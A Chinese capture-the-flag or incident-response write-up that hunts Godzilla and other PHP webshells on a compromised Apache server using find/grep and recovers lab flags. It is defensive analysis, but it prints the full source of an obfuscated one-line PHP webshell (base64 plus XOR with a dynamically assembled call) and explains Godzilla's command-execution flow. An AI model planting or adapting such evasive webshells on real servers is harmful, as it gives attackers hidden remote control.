连接上靶机过后 直接查看日志
cd /var/log
发现是通过apache搭建的web服务
netstat -pantu
这里也可以确定开启了apache服务 也确实为apache + php
接下来查看木马文件
一个一个文件看不现实 直接使用find命令去匹配shell字段中可能存在的敏感字段去查找webshell
find ./ -name "*.php" |xargs grep "eval("
查找到三个文件
下面来看第一个./include/gz.php
发现第一个隐藏的flag flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
其实这个一眼可以看出来是哥斯拉
哥斯拉php马特征
-
session_start() 创建或者重启一个会话
-
@set_time_limit(0) 设置程序最长运行时间 永远
-
@error_reporting(0) 关闭错误报告
-
$key=xxxxxxxxx 加解密的盐值
哥斯拉php马的利用逻辑:
第一次通信时,服务端通过POST方式传递一个名叫pass的参数给木马,给pass参数赋的值是加密后的一组用”|”隔开的方法,也就是接下来要使用的攻击荷载。荷载在解密后被存入SESSION,供之后使用。
从第二次通信开始,pass传入的是远控命令,通过攻击荷载中的run()方法执行远控命令。然后对回显进行加密后传输给哥斯拉的服务端。
所以第二个flag就是Godzilla的github地址的md5值
https://github.com/BeichenDream/Godzilla
Flag2: flag{39392DE3218C333F794BEFEF07AC9257}
接着来看找到的第二个shell ./include/Db/.Mysqli.php
当我们进入目标文件夹时,用ls显示文件看到的只是正常的数据库配置文件
该webshell通过以 ‘.’ 开头对shell命名,得到的文件就是隐藏文件,这时得使用
ls -a
典型的哥斯拉马子特征
所以第三个flag 为该shell的地址:/var/www/html/include/Db/.Mysqli.php
Flag3: flag{AEBAC0E58CD6C5FAD1695EE4D1AC1919}
第三个所发现的shell就是来混淆我们的一句话木马
php免杀马通常字符串异或加密、base家族加密、rot13加密 字符串拼接等方式实现
这里尝试最常见的base64编码,同样也是通过find去匹配关键字查询
find ./ -name "*.php" | xargs grep "base64_decode"
<?php $key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7]; }
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);
该免杀马首先使用base64对于接收到的func参数进行加密,以绕过黑名单检查,再使用key对加密的内容进行异或加密,然后通过$a.$s.$_GET[“func2”] 拼接的方式来动态调用,绕过静态检验。
所以第三个flag 为该shell的地址:/var/www/html/wap/top.php
Flag4: flag{EEFF2EABFD9B7A6D26FC1A53D3F7D1DE}
哥斯拉php马的特征:
-
webshell配置,常见于文件头session_start(); @set_time_limit(0); @error_reporting(0);
-
默认的加解密盐值:3c6e0b8a9c15224a
-
有一个向SESSION中存储攻击荷载的过程,就是会有一个
$_SESSION[$XXX]=P
的过程
- 最新
- 最热
只看作者